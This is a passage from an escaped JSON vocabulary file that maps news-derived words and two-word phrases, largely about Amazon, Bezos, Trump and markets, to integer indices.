21061,\n  \"directly address\": 21062,\n  \"nn\": 21063,\n  \"lamborghini new\": 21064,\n  \"court fees\": 21065,\n  \"homeowner\": 21066,\n  \"imports announced\": 21067,\n  \"var s9x\": 21068,\n  \"soper moderates\": 21069,\n  \"governor adam\": 21070,\n  \"phony university\": 21071,\n  \"memo signed\": 21072,\n  \"resident population\": 21073,\n  \"sears offered\": 21074,\n  \"falls second\": 21075,\n  \"approximately 644\": 21076,\n  \"sachs worries\": 21077,\n  \"corporation stock\": 21078,\n  \"seamless segue\": 21079,\n  \"commission bezos\": 21080,\n  \"discerning eye\": 21081,\n  \"note analysts\": 21082,\n  \"grand conspiracy\": 21083,\n  \"scheduling software\": 21084,\n  \"kyle maclachlan\": 21085,\n  \"trump payne\": 21086,\n  \"war cheerleader\": 21087,\n  \"tl federal\": 21088,\n  \"bezos running\": 21089,\n  \"favorite movies\": 21090,\n  \"sharp tightening\": 21091,\n  \"particular aim\": 21092,\n  \"newsletters delivered\": 21093,\n  \"amid popular\": 21094,\n  \"told analysts\": 21095,\n  \"new letter\": 21096,\n  \"wrote think\": 21097,\n  \"contact email\": 21098,\n  \"book offers\": 21099,\n  \"anti cancer\": 21100,\n  \"lawyer rudy\": 21101,\n  \"administration lees\": 21102,\n  \"modern\": 21103,\n  \"unnecessary\": 21104,\n  \"public 2019\": 21105,\n  \"dixon eater\": 21106,\n  \"tm boss\": 21107,\n  \"aces\": 21108,\n  \"virginia coincidentally\": 21109,\n  \"vishaan chakrabarti\": 21110,\n  \"letting different\": 21111,\n  \"shirt\": 21112,\n  \"posted late\": 21113,\n  \"marriott\": 21114,\n  \"proprietary goods\": 21115,\n  \"economic catalysts\": 21116,\n  \"virginia company\": 21117,\n  \"farrow continued\": 21118,\n  \"polling\": 21119,\n  \"archive screenshots\": 21120,\n  \"apocalyptic series\": 21121,\n  \"jedi lifted\": 21122,\n  \"action international\": 21123,\n  \"spawned\": 21124,\n  \"old right\": 21125,\n  \"videocollectiondivid\": 21126,\n  \"sourcelink videocollectionurl\": 21127,\n  \"critic\": 21128,\n  \"alike trump\": 21129,\n  \"post mistake\": 21130,\n  \"rochelle richardson\": 21131,\n  \"brandingtexthead\": 21132,\n  \"press pass\": 21133,\n  \"brief intervention\": 21134,\n  \"sheer personal\": 21135,\n  \"reliability\": 21136,\n  \"flown\": 21137,\n  \"cdc hiv\": 21138,\n  \"including healthcare\": 21139,\n  \"political consequences\": 21140,\n  \"lirr accident\": 21141,\n  \"publishers clearing\": 21142,\n  \"bezos texts\": 21143,\n  \"intelligent noah\": 21144,\n  \"instagram amazon\": 21145,\n  \"involved report\": 21146,\n  \"chided president\": 21147,\n  \"gtcr\": 21148,\n  \"australia france\": 21149,\n  \"vast power\": 21150,\n  \"emotion tend\": 21151,\n  \"assets 181008212727\": 21152,\n  \"senate term\": 21153,\n  \"billion 140\": 21154,\n  \"losses including\": 21155,\n  \"think little\": 21156,\n  \"gentrification housing\": 21157,\n  \"financial decisions\": 21158,\n  \"prostitution ring\": 21159,\n  \"restraining order\": 21160,\n  \"considerable tax\": 21161,\n  \"employee interviewed\": 21162,\n  \"late 2018\": 21163,\n  \"curtis johnson\": 21164,\n  \"things shutting\": 21165,\n  \"remain shut\": 21166,\n  \"vc view\": 21167,\n  \"congressional aide\": 21168,\n  \"local expertise\": 21169,\n  \"believe facebook\": 21170,\n  \"royal court\": 21171,\n  \"weren disclosing\": 21172,\n  \"sticker slogans\": 21173,\n  \"anand sheela\": 21174,\n  \"modified organisms\": 21175,\n  \"suggested reforms\": 21176,\n  \"bear cnn\": 21177,\n  \"booming stock\": 21178,\n  \"snaps emails\": 21179,\n  \"tame inflation\": 21180,\n  \"cadence\\u0430in\": 21181,\n  \"plans entirely\": 21182,\n  \"announced multi\": 21183,\n  \"consumers say\": 21184,\n  \"expect free\": 21185,\n  \"ceos\": 21186,\n  \"courted nooyi\": 21187,\n  \"mackenzie statements\": 21188,\n  \"entertaining\": 21189,\n  \"nationalization\": 21190,\n  \"army terminal\": 21191,\n  \"amatos nyassembly\": 21192,\n  \"description product\": 21193,\n  \"new state\": 21194,\n  \"roger store\": 21195,\n  \"young voters\": 21196,\n  \"brennan sharply\": 21197,\n  \"best way\": 21198,\n  \"print form\": 21199,\n  \"host welcome\": 21200,\n  \"comic relief\": 21201,\n  \"forearm dorsey\": 21202,\n  \"markay wrote\": 21203,\n  \"join thousands\": 21204,\n  \"major postal\": 21205,\n  \"story cool\": 21206,\n  \"trump defeat\": 21207,\n  \"nashville tenn\": 21208,\n  \"critical news\": 21209,\n  \"politics molly\": 21210,\n  \"open secrets\": 21211,\n  \"adequately\": 21212,\n  \"cooker\": 21213,\n  \"articles 771959\": 21214,\n  \"star sean\": 21215,\n  \"meet russian\": 21216,\n  \"politico media\": 21217,\n  \"free public\": 21218,\n  \"kevin cramer\": 21219,\n  \"juul headquarters\": 21220,\n  \"gist healthcare\": 21221,\n  \"uk millennial\": 21222,\n  \"vermont nominated\": 21223,\n  \"investigation including\": 21224,\n  \"415\": 21225,\n  \"chandler\": 21226,\n  \"tourism outfit\": 21227,\n  \"omarosa manigault\": 21228,\n  \"showed investigators\": 21229,\n  \"000 grant\": 21230,\n  \"app wechat\": 21231,\n  \"provided information\": 21232,\n  \"nickname\": 21233,\n  \"selfies unless\": 21234,\n  \"biggest benefactors\": 21235,\n  \"xstjcl0qm1\": 21236,\n  \"way given\": 21237,\n  \"small gadget\": 21238,\n  \"viab\": 21239,\n  \"collection practices\": 21240,\n  \"yearning\": 21241,\n  \"committee standoff\": 21242,\n  \"friendly republicans\": 21243,\n  \"vulnerable stocks\": 21244,\n  \"stweets today\": 21245,\n  \"publishers newswire\": 21246,\n  \"criticism bezos\": 21247,\n  \"supply received\": 21248,\n  \"present ellis\": 21249,\n  \"nefarious organizations\": 21250,\n  \"sanders welcomed\": 21251,\n  \"var t0\": 21252,\n  \"launch steady\": 21253,\n  \"hq2 series\": 21254,\n  \"federation begin\": 21255,\n  \"wicking anti\": 21256,\n  \"weigh\": 21257,\n  \"kiss photo\": 21258,\n  \"homophobic\": 21259,\n  \"657 shares\": 21260,\n  \"business paul\": 21261,\n  \"gop nominee\": 21262,\n  \"melted trump\": 21263,\n  \"collection policy\": 21264,\n  \"teach participants\": 21265,\n  \"chart nick\": 21266,\n  \"sears reports\": 21267,\n  \"russian foreign\": 21268,\n  \"just search\": 21269,\n  \"bochner\": 21270,\n  \"album looks\": 21271,\n  \"market place\": 21272,\n  \"environmental areas\": 21273,\n  \"takes office\": 21274,\n  \"loyalty memoir\": 21275,\n  \"entire retail\": 21276,\n  \"tout\": 21277,\n  \"schwab management\": 21278,\n  \"flames civic\": 21279,\n  \"ip portfolio\": 21280,\n  \"widowed airs\": 21281,\n  \"market bloodbath\": 21282,\n  \"dramas crime\": 21283,\n  \"exchanging\": 21284,\n  \"contentious process\": 21285,\n  \"including seattle\": 21286,\n  \"white\": 21287,\n  \"lunatic 101\": 21288,\n  \"labeling law\": 21289,\n  \"fashion focused\": 21290,\n  \"letter calling\": 21291,\n  \"catlin breaking\": 21292,\n  \"maduro foes\": 21293,\n  \"violate constitutional\": 21294,\n  \"latest supersized\": 21295,\n  \"marketed\": 21296,\n  \"project developers\": 21297,\n  \"contrasting\": 21298,\n  \"highly critical\": 21299,\n  \"sexual harasser\": 21300,\n  \"committee recently\": 21301,\n  \"mariia butina\": 21302,\n  \"long track\": 21303,\n  \"grant tied\": 21304,\n  \"example just\": 21305,\n  \"sex public\": 21306,\n  \"outdated\": 21307,\n  \"attacking companies\": 21308,\n  \"deep pharmacy\": 21309,\n  \"aws rdb\": 21310,\n  \"vivek\": 21311,\n  \"transportation housing\": 21312,\n  \"defamation league\": 21313,\n  \"jeffreygoldberg\": 21314,\n  \"big component\": 21315,\n  \"fans rejoice\": 21316,\n  \"mcconnell privately\": 21317,\n  \"extensive damage\": 21318,\n  \"introduce tax\": 21319,\n  \"forever\": 21320,\n  \"edit tags\": 21321,\n  \"exceptionally\": 21322,\n  \"work including\": 21323,\n  \"detroit downriver\": 21324,\n  \"began slapping\": 21325,\n  \"cold opens\": 21326,\n  \"850 stores\": 21327,\n  \"ships billion\": 21328,\n  \"skills training\": 21329,\n  \"wouldget absolutely\": 21330,\n  \"yes hurd\": 21331,\n  \"inventory shrugged\": 21332,\n  \"abandoning plans\": 21333,\n  \"minor distractors\": 21334,\n  \"mutual fund\": 21335,\n  \"actors starring\": 21336,\n  \"desserts black\": 21337,\n  \"kill thousands\": 21338,\n  \"gonzales started\": 21339,\n  \"closed cnbc\": 21340,\n  \"trump distaste\": 21341,\n  \"order just\": 21342,\n  \"yorkers objecting\": 21343,\n  \"cause immediate\": 21344,\n  \"uk especially\": 21345,\n  \"heading module\": 21346,\n  \"journal subscription\": 21347,\n  \"salon nicole\": 21348,\n  \"units tesla\": 21349,\n  \"needed media\": 21350,\n  \"gives bullish\": 21351,\n  \"party amzn\": 21352,\n  \"jerod harris\": 21353,\n  \"clinton summit\": 21354,\n  \"expeditions\": 21355,\n  \"blitz deal\": 21356,\n  \"2017 vogue\": 21357,\n  \"stops railing\": 21358,\n  \"costco big\": 21359,\n  \"christmas message\": 21360,\n  \"know associated\": 21361,\n  \"recent week\": 21362,\n  \"gagillion fafillion\": 21363,\n  \"fellow teammates\": 21364,\n  \"left westervelt\": 21365,\n  \"make looting\": 21366,\n  \"wwe smackdown\": 21367,\n  \"152\": 21368,\n  \"ibm stock\": 21369,\n  \"mistress including\": 21370,\n  \"hostname owl\": 21371,\n  \"nested\": 21372,\n  \"popular opposition\": 21373,\n  \"permits companies\": 21374,\n  \"rally election\": 21375,\n  \"organization representing\": 21376,\n  \"trudeau arrives\": 21377,\n  \"loudoun\": 21378,\n  \"complete fantasyland\": 21379,\n  \"resources abr\": 21380,\n  \"life measurably\": 21381,\n  \"getting traction\": 21382,\n  \"send articles\": 21383,\n  \"total value\": 21384,\n  \"amazon images\": 21385,\n  \"widened\": 21386,\n  \"raping\": 21387,\n  \"function ya\": 21388,\n  \"wfc\": 21389,\n  \"senior officials\": 21390,\n  \"report wanted\": 21391,\n  \"written tax\": 21392,\n  \"violated consumer\": 21393,\n  \"guy help\": 21394,\n  \"amzn motley\": 21395,\n  \"sea ice\": 21396,\n  \"relationship state\": 21397,\n  \"heights seized\": 21398,\n  \"babb defense\": 21399,\n  \"law mohamad\": 21400,\n  \"violated state\": 21401,\n  \"named moderator\": 21402,\n  \"seen\": 21403,\n  \"normal level\": 21404,\n  \"orthodoxy\": 21405,\n  \"replacing libraries\": 21406,\n  \"thrones headlineplaintext\": 21407,\n  \"visiting toronto\": 21408,\n  \"major mistakes\": 21409,\n  \"dominated retail\": 21410,\n  \"shares partner\": 21411,\n  \"says mkm\": 21412,\n  \"ari seth\": 21413,\n  \"feature reporting\": 21414,\n  \"cable channel\": 21415,\n  \"direct delivery\": 21416,\n  \"crazy real\": 21417,\n  \"snafu\": 21418,\n  \"mid stream\": 21419,\n  \"jonny cournoyer\": 21420,\n  \"tana french\": 21421,\n  \"mass shooting\": 21422,\n  \"competitors chief\": 21423,\n  \"economically bankrupt\": 21424,\n  \"paint technology\": 21425,\n  \"investigators led\": 21426,\n  \"european competition\": 21427,\n  \"stalking president\": 21428,\n  \"uploaded\": 21429,\n  \"retail upcoming\": 21430,\n  \"essay long\": 21431,\n  \"tick amazon\": 21432,\n  \"vaccinations child\": 21433,\n  \"newton advisors\": 21434,\n  \"cloud native\": 21435,\n  \"happening france\": 21436,\n  \"main equity\": 21437,\n  \"iran russia\": 21438,\n  \"soybean crops\": 21439,\n  \"wronged\": 21440,\n  \"wasn normal\": 21441,\n  \"manipulative ads\": 21442,\n  \"5g revolution\": 21443,\n  \"classroom\": 21444,\n  \"yesterday report\": 21445,\n  \"branford\": 21446,\n  \"alexandriaocasio cortez\": 21447,\n  \"legally prohibited\": 21448,\n  \"adding virginia\": 21449,\n  \"rec\": 21450,\n  \"clark davehclark\": 21451,\n  \"chinese imposing\": 21452,\n  \"rate love\": 21453,\n  \"lay blame\": 21454,\n  \"involves president\": 21455,\n  \"taken stakes\": 21456,\n  \"sozzi noted\": 21457,\n  \"amerijet\": 21458,\n  \"sprout frightening\": 21459,\n  \"convincing seattle\": 21460,\n  \"ethical frameworks\": 21461,\n  \"hosts dan\": 21462,\n  \"schooling class\": 21463,\n  \"post brexit\": 21464,\n  \"sought personally\": 21465,\n  \"associates ultimately\": 21466,\n  \"think google\": 21467,\n  \"lester\": 21468,\n  \"typeahead\": 21469,\n  \"ads posted\": 21470,\n  \"blunted somewhat\": 21471,\n  \"billion moody\": 21472,\n  \"persistent\": 21473,\n  \"court article\": 21474,\n  \"trump constant\": 21475,\n  \"implement early\": 21476,\n  \"michael conway\": 21477,\n  \"blasts donald\": 21478,\n  \"forces ami\": 21479,\n  \"significantly differs\": 21480,\n  \"shut btw\": 21481,\n  \"pudo points\": 21482,\n  \"rippled effects\": 21483,\n  \"netflix feng\": 21484,\n  \"gains amazon\": 21485,\n  \"eugene puryear\": 21486,\n  \"past misuse\": 21487,\n  \"pro yard\": 21488,\n  \"cooperation consultation\": 21489,\n  \"trump iran\": 21490,\n  \"negative outcomes\": 21491,\n  \"2017 says\": 21492,\n  \"replacing human\": 21493,\n  \"anti fishing\": 21494,\n  \"era photos\": 21495,\n  \"coming decade\": 21496,\n  \"overall strategy\": 21497,\n  \"requires retail\": 21498,\n  \"rice\": 21499,\n  \"forcibly separating\": 21500,\n  \"sustainable production\": 21501,\n  \"troubled institution\": 21502,\n  \"institutions public\": 21503,\n  \"nineteen women\": 21504,\n  \"idea right\": 21505,\n  \"sen lindsey\": 21506,\n  \"maternity\": 21507,\n  \"malaysian\": 21508,\n  \"relied heavily\": 21509,\n  \"sites sell\": 21510,\n  \"nhl washington\": 21511,\n  \"carolyn kaster\": 21512,\n  \"featuring donald\": 21513,\n  \"infamous error\": 21514,\n  \"tim morthland\": 21515,\n  \"xfcuvm1u4s\": 21516,\n  \"making capacity\": 21517,\n  \"cancelled sorry\": 21518,\n  \"delivery charges\": 21519,\n  \"albuquerque\": 21520,\n  \"issue brought\": 21521,\n  \"originally offered\": 21522,\n  \"canada hudsons\": 21523,\n  \"host vietnam\": 21524,\n  \"amazon 28257\": 21525,\n  \"bowen blames\": 21526,\n  \"alcohol tobacco\": 21527,\n  \"talent available\": 21528,\n  \"states leroy\": 21529,\n  \"record highs\": 21530,\n  \"open arms\": 21531,\n  \"mystal\": 21532,\n  \"t0\": 21533,\n  \"869 68b\": 21534,\n  \"similar\": 21535,\n  \"great ideas\": 21536,\n  \"inflict terrible\": 21537,\n  \"land grabbers\": 21538,\n  \"wizards\": 21539,\n  \"shares climb\": 21540,\n  \"patience\": 21541,\n  \"cathy\": 21542,\n  \"free guide\": 21543,\n  \"unapologetic turd\": 21544,\n  \"trump persecuting\": 21545,\n  \"coldwell banker\": 21546,\n  \"customers view\": 21547,\n  \"article\": 21548,\n  \"help guide\": 21549,\n  \"latest tirade\": 21550,\n  \"young charges\": 21551,\n  \"actually undermine\": 21552,\n  \"picked struggle\": 21553,\n  \"following shooting\": 21554,\n  \"markets economist\": 21555,\n  \"wasteland hellhole\": 21556,\n  \"freight railroad\": 21557,\n  \"created company\": 21558,\n  \"boies\": 21559,\n  \"species called\": 21560,\n  \"airline wow\": 21561,\n  \"delivery forcing\": 21562,\n  \"amy poehler\": 21563,\n  \"shipping center\": 21564,\n  \"png foto\": 21565,\n  \"surveillance tool\": 21566,\n  \"perfected\": 21567,\n  \"years prosecutors\": 21568,\n  \"service uncovered\": 21569,\n  \"narendramodi\": 21570,\n  \"condemn amazon\": 21571,\n  \"figures focus\": 21572,\n  \"story html\": 21573,\n  \"wildly succeeds\": 21574,\n  \"misleadingly referred\": 21575,\n  \"agency withdrew\": 21576,\n  \"prosecution criminal\": 21577,\n  \"carlyle group\": 21578,\n  \"mining stocks\": 21579,\n  \"stock picks\": 21580,\n  \"liebert\": 21581,\n  \"nooyi ceo\": 21582,\n  \"legally\": 21583,\n  \"actually cared\": 21584,\n  \"systems technical\": 21585,\n  \"creeping\": 21586,\n  \"america small\": 21587,\n  \"laurent chess\": 21588,\n  \"reveal skin\": 21589,\n  \"reasons lot\": 21590,\n  \"blue vans\": 21591,\n  \"thorough discussion\": 21592,\n  \"supermicro\": 21593,\n  \"michael neibauer\": 21594,\n  \"baldness balms\": 21595,\n  \"weld\": 21596,\n  \"casual market\": 21597,\n  \"troops deployed\": 21598,\n  \"capri\": 21599,\n  \"clinton health\": 21600,\n  \"mommy burnout\": 21601,\n  \"trump argument\": 21602,\n  \"citing weak\": 21603,\n  \"nyse royal\": 21604,\n  \"minister shinzo\": 21605,\n  \"onslaught\": 21606,\n  \"ore letter\": 21607,\n  \"fargo investment\": 21608,\n  \"products ahead\": 21609,\n  \"school acre\": 21610,\n  \"office walls\": 21611,\n  \"australian customers\": 21612,\n  \"outlawing\": 21613,\n  \"edison gramophone\": 21614,\n  \"started brand\": 21615,\n  \"school graduate\": 21616,\n  \"category killer\": 21617,\n  \"companies amazon\": 21618,\n  \"alpha conference\": 21619,\n  \"attracting latin\": 21620,\n  \"proposed uptick\": 21621,\n  \"deadly gangster\": 21622,\n  \"denver school\": 21623,\n  \"school life\": 21624,\n  \"operates amazon\": 21625,\n  \"headquarters just\": 21626,\n  \"improve public\": 21627,\n  \"new campaign\": 21628,\n  \"trump friendship\": 21629,\n  \"2017 pablo\": 21630,\n  \"newscom amazon\": 21631,\n  \"administration attempt\": 21632,\n  \"states representatives\": 21633,\n  \"matching hat\": 21634,\n  \"000 month\": 21635,\n  \"best brightest\": 21636,\n  \"reform make\": 21637,\n  \"spotlights\": 21638,\n  \"hq2 process\": 21639,\n  \"screws\": 21640,\n  \"mccain time\": 21641,\n  \"submit a4ee\": 21642,\n  \"surely reducing\": 21643,\n  \"size scope\": 21644,\n  \"bring censored\": 21645,\n  \"decades ago\": 21646,\n  \"slansky media\": 21647,\n  \"krystal hu\": 21648,\n  \"gaming\": 21649,\n  \"streamlining business\": 21650,\n  \"false videopinner\": 21651,\n  \"spandex\": 21652,\n  \"presidential pals\": 21653,\n  \"immigration geography\": 21654,\n  \"vandenberg air\": 21655,\n  \"holdings peavine\": 21656,\n  \"withheld crucial\": 21657,\n  \"major corporations\": 21658,\n  \"ranking interior\": 21659,\n  \"posts anti\": 21660,\n  \"southeast grocery\": 21661,\n  \"modernizr phone\": 21662,\n  \"sku\": 21663,\n  \"ago web\": 21664,\n  \"vilify business\": 21665,\n  \"finalized deal\": 21666,\n  \"banks chinese\": 21667,\n  \"amazon impact\": 21668,\n  \"book received\": 21669,\n  \"radhika jones\": 21670,\n  \"compiling report\": 21671,\n  \"shares opened\": 21672,\n  \"massacre year\": 21673,\n  \"badly underestimates\": 21674,\n  \"prime service\": 21675,\n  \"giant corporate\": 21676,\n  \"wisconsin taxpayers\": 21677,\n  \"final say\": 21678,\n  \"stores sell\": 21679,\n  \"wreaking havoc\": 21680,\n  \"bezos resorted\": 21681,\n  \"water johnson\": 21682,\n  \"lives tracks\": 21683,\n  \"therapist trying\": 21684,\n  \"named people\": 21685,\n  \"pet themes\": 21686,\n  \"hoax\": 21687,\n  \"shea\": 21688,\n  \"continuing investigation\": 21689,\n  \"key criminal\": 21690,\n  \"bogen\": 21691,\n  \"store opened\": 21692,\n  \"address read\": 21693,\n  \"bsquare\": 21694,\n  \"wire adzone\": 21695,\n  \"breaks worth\": 21696,\n  \"effects regulatory\": 21697,\n  \"submitting proposals\": 21698,\n  \"thinnest\": 21699,\n  \"focus heavily\": 21700,\n  \"post commented\": 21701,\n  \"chicago accepts\": 21702,\n  \"serra\": 21703,\n  \"bypassing overseas\": 21704,\n  \"traditionally defensive\": 21705,\n  \"allude\": 21706,\n  \"state regulatory\": 21707,\n  \"starboard\": 21708,\n  \"75pc\": 21709,\n  \"munger 2017\": 21710,\n  \"located inside\": 21711,\n  \"make investors\": 21712,\n  \"overall objective\": 21713,\n  \"alphabet set\": 21714,\n  \"commercial platforms\": 21715,\n  \"proposed administrative\": 21716,\n  \"interacted\": 21717,\n  \"theatlantic\": 21718,\n  \"open primary\": 21719,\n  \"southside\": 21720,\n  \"occasions accusing\": 21721,\n  \"resurgent republican\": 21722,\n  \"510\": 21723,\n  \"tommie lee\": 21724,\n  \"today does\": 21725,\n  \"ceo continued\": 21726,\n  \"democrat follow\": 21727,\n  \"exclusive special\": 21728,\n  \"bloomberg trump\": 21729,\n  \"representative\": 21730,\n  \"formal government\": 21731,\n  \"existsobject playerinstance\": 21732,\n  \"wrong road\": 21733,\n  \"skateboarding\": 21734,\n  \"caught amazon\": 21735,\n  \"amerisourcebergen corp\": 21736,\n  \"udine\": 21737,\n  \"general lisa\": 21738,\n  \"really nasty\": 21739,\n  \"american mom\": 21740,\n  \"agents gayle\": 21741,\n  \"decision allowing\": 21742,\n  \"story irs\": 21743,\n  \"summer relabeling\": 21744,\n  \"term concerns\": 21745,\n  \"involved parties\": 21746,\n  \"credible reason\": 21747,\n  \"generation wireless\": 21748,\n  \"houdini\": 21749,\n  \"means tech\": 21750,\n  \"mckinnon ingraham\": 21751,\n  \"kuwait\": 21752,\n  \"reconstruction project\": 21753,\n  \"stern phone\": 21754,\n  \"change favorable\": 21755,\n  \"data especially\": 21756,\n  \"allegedly paid\": 21757,\n  \"1732et copyright\": 21758,\n  \"bolsonaro displaying\": 21759,\n  \"police interview\": 21760,\n  \"financial proof\": 21761,\n  \"logistics summit\": 21762,\n  \"fentanyl\": 21763,\n  \"neighborhood including\": 21764,\n  \"announced drones\": 21765,\n  \"mobilelogo null\": 21766,\n  \"trump opinion\": 21767,\n  \"houses construction\": 21768,\n  \"major betrayal\": 21769,\n  \"times calling\": 21770,\n  \"educate leaders\": 21771,\n  \"feed donald\": 21772,\n  \"eisen coca\": 21773,\n  \"women according\": 21774,\n  \"finalized advocacy\": 21775,\n  \"displacement etcetera\": 21776,\n  \"sister affair\": 21777,\n  \"advertiser\": 21778,\n  \"careful john\": 21779,\n  \"stopimmediatepropagation\": 21780,\n  \"tremendous progress\": 21781,\n  \"principle house\": 21782,\n  \"babis faces\": 21783,\n  \"tech projects\": 21784,\n  \"saudi agents\": 21785,\n  \"amazon fit\": 21786,\n  \"reform committee\": 21787,\n  \"technology professionals\": 21788,\n  \"digit revenue\": 21789,\n  \"polarizing partisan\": 21790,\n  \"face criticism\": 21791,\n  \"5bf3k1f05s\": 21792,\n  \"chaos left\": 21793,\n  \"liberalism democratic\": 21794,\n  \"suspicion\": 21795,\n  \"new study\": 21796,\n  \"characterization\": 21797,\n  \"trump occupies\": 21798,\n  \"vote majority\": 21799,\n  \"act mercurial\": 21800,\n  \"canceling netflix\": 21801,\n  \"given fat\": 21802,\n  \"deal instead\": 21803,\n  \"approves\": 21804,\n  \"loyalties\": 21805,\n  \"nanny time\": 21806,\n  \"connected partnership\": 21807,\n  \"people signed\": 21808,\n  \"raining carell\": 21809,\n  \"posters alluding\": 21810,\n  \"td\": 21811,\n  \"politics saudi\": 21812,\n  \"petrol price\": 21813,\n  \"people compared\": 21814,\n  \"bezos hangs\": 21815,\n  \"selfie pictures\": 21816,\n  \"previous air\": 21817,\n  \"deliveries sebastian\": 21818,\n  \"greeted rebecca\": 21819,\n  \"scanners\": 21820,\n  \"competition culture\": 21821,\n  \"type article\": 21822,\n  \"periodic wake\": 21823,\n  \"corporate power\": 21824,\n  \"discounted postal\": 21825,\n  \"canada just\": 21826,\n  \"housing solutions\": 21827,\n  \"reverse mean\": 21828,\n  \"parole board\": 21829,\n  \"various transportation\": 21830,\n  \"recruitment\": 21831,\n  \"apart dividing\": 21832,\n  \"crisis hits\": 21833,\n  \"eating\": 21834,\n  \"veered\": 21835,\n  \"space boom\": 21836,\n  \"common connection\": 21837,\n  \"brazilian commodities\": 21838,\n  \"right place\": 21839,\n  \"broken ground\": 21840,\n  \"dropped greater\": 21841,\n  \"germany avoided\": 21842,\n  \"starks lannisters\": 21843,\n  \"rival company\": 21844,\n  \"police critics\": 21845,\n  \"company instead\": 21846,\n  \"president wrong\": 21847,\n  \"places gasoline\": 21848,\n  \"large number\": 21849,\n  \"comet\": 21850,\n  \"noah feldman\": 21851,\n  \"regularly featured\": 21852,\n  \"startup program\": 21853,\n  \"mafia lord\": 21854,\n  \"vulture\": 21855,\n  \"penguin press\": 21856,\n  \"today oath\": 21857,\n  \"russian hijacking\": 21858,\n  \"ethnicity religion\": 21859,\n  \"derek wallbank\": 21860,\n  \"transaction costs\": 21861,\n  \"soundview route\": 21862,\n  \"013 000\": 21863,\n  \"campaign launch\": 21864,\n  \"ahead forum\": 21865,\n  \"special information\": 21866,\n  \"disagree issues\": 21867,\n  \"delivery event\": 21868,\n  \"thornburgh matt\": 21869,\n  \"marital life\": 21870,\n  \"lead house\": 21871,\n  \"rejected criticism\": 21872,\n  \"creative artists\": 21873,\n  \"kyrsten\": 21874,\n  \"media juggernaut\": 21875,\n  \"mysterious past\": 21876,\n  \"supports local\": 21877,\n  \"marvel tv\": 21878,\n  \"year message\": 21879,\n  \"left fatima\": 21880,\n  \"good years\": 21881,\n  \"temin founder\": 21882,\n  \"conveniences offered\": 21883,\n  \"buy software\": 21884,\n  \"makes employers\": 21885,\n  \"anchors commented\": 21886,\n  \"fleecing\": 21887,\n  \"big philanthropic\": 21888,\n  \"times magazine\": 21889,\n  \"pay according\": 21890,\n  \"ain\": 21891,\n  \"fraud buffalo\": 21892,\n  \"decision sparked\": 21893,\n  \"true configobj\": 21894,\n  \"albrecht\": 21895,\n  \"mushroom character\": 21896,\n  \"weather entertainment\": 21897,\n  \"transformed\": 21898,\n  \"trump resistance\": 21899,\n  \"fumed publicly\": 21900,\n  \"amok\": 21901,\n  \"mari\": 21902,\n  \"post multiple\": 21903,\n  \"dam reback\": 21904,\n  \"5547\": 21905,\n  \"shopping tool\": 21906,\n  \"later gawande\": 21907,\n  \"office gao\": 21908,\n  \"performing equity\": 21909,\n  \"articles amazon\": 21910,\n  \"mass\": 21911,\n  \"sees significant\": 21912,\n  \"national geography\": 21913,\n  \"richfield\": 21914,\n  \"hearings preferably\": 21915,\n  \"events commemorating\": 21916,\n  \"debated\": 21917,\n  \"wall wish\": 21918,\n  \"6th 2019\": 21919,\n  \"car maker\": 21920,\n  \"nelson native\": 21921,\n  \"cool million\": 21922,\n  \"babis jr\": 21923,\n  \"fund package\": 21924,\n  \"politically embarrassing\": 21925,\n  \"people bezos\": 21926,\n  \"watergate showing\": 21927,\n  \"lover nancy\": 21928,\n  \"retailer margins\": 21929,\n  \"contains monosodium\": 21930,\n  \"simply having\": 21931,\n  \"watchdog fbi\": 21932,\n  \"nflx reported\": 21933,\n  \"press fact\": 21934,\n  \"russian contacts\": 21935,\n  \"ny tweeted\": 21936,\n  \"santiago yes\": 21937,\n  \"new guidelines\": 21938,\n  \"similar position\": 21939,\n  \"grave threat\": 21940,\n  \"employers hiring\": 21941,\n  \"development contract\": 21942,\n  \"moratorium map\": 21943,\n  \"roy price\": 21944,\n  \"job creation\": 21945,\n  \"home promising\": 21946,\n  \"2018 bezos\": 21947,\n  \"true vidid\": 21948,\n  \"description according\": 21949,\n  \"hanoi summit\": 21950,\n  \"amazon parcels\": 21951,\n  \"234 billion\": 21952,\n  \"bankruptcy fitting\": 21953,\n  \"generally pursues\": 21954,\n  \"bannon spoke\": 21955,\n  \"world tribune\": 21956,\n  \"cohen work\": 21957,\n  \"egotistical\": 21958,\n  \"don strike\": 21959,\n  \"ziggy stardust\": 21960,\n  \"amazon delta\": 21961,\n  \"campaign event\": 21962,\n  \"aerospace standards\": 21963,\n  \"discounts sent\": 21964,\n  \"management division\": 21965,\n  \"crop king\": 21966,\n  \"computer paper\": 21967,\n  \"independent votes\": 21968,\n  \"news aggregator\": 21969,\n  \"mid afternoon\": 21970,\n  \"lobbied local\": 21971,\n  \"preliminary sentiment\": 21972,\n  \"overtaken\": 21973,\n  \"begin using\": 21974,\n  \"users better\": 21975,\n  \"position players\": 21976,\n  \"london arrest\": 21977,\n  \"scrutinized politicians\": 21978,\n  \"intelligence coverage\": 21979,\n  \"harlan hill\": 21980,\n  \"radically alter\": 21981,\n  \"swaggering\": 21982,\n  \"using extortion\": 21983,\n  \"ruthless price\": 21984,\n  \"luthor\": 21985,\n  \"persistent critic\": 21986,\n  \"gene editing\": 21987,\n  \"dorning 2018\": 21988,\n  \"high politics\": 21989,\n  \"distinct linguistic\": 21990,\n  \"practices write\": 21991,\n  \"house shortly\": 21992,\n  \"chequered\": 21993,\n  \"pre installed\": 21994,\n  \"shops covering\": 21995,\n  \"schedules new\": 21996,\n  \"sent 855\": 21997,\n  \"democratic candidates\": 21998,\n  \"silicone valley\": 21999,\n  \"retired\": 22000,\n  \"primary resurrecting\": 22001,\n  \"newly renovated\": 22002,\n  \"isa hackett\": 22003,\n  \"target does\": 22004,\n  \"holiday euro\": 22005,\n  \"period bezos\": 22006,\n  \"post think\": 22007,\n  \"new destination\": 22008,\n  \"say fan\": 22009,\n  \"cards usps\": 22010,\n  \"manufacture iphones\": 22011,\n  \"baltimore sun\": 22012,\n  \"case figures\": 22013,\n  \"directed postmaster\": 22014,\n  \"evergreen\": 22015,\n  \"usual targets\": 22016,\n  \"powered read\": 22017,\n  \"street cbs\": 22018,\n  \"enticing amazon\": 22019,\n  \"duplex voice\": 22020,\n  \"lies did\": 22021,\n  \"grinch\": 22022,\n  \"aunt\": 22023,\n  \"crippling snowstorms\": 22024,\n  \"state funded\": 22025,\n  \"life long\": 22026,\n  \"beast fame\": 22027,\n  \"leary continues\": 22028,\n  \"admissions\": 22029,\n  \"investigated american\": 22030,\n  \"losses according\": 22031,\n  \"business quality\": 22032,\n  \"nasdaq officially\": 22033,\n  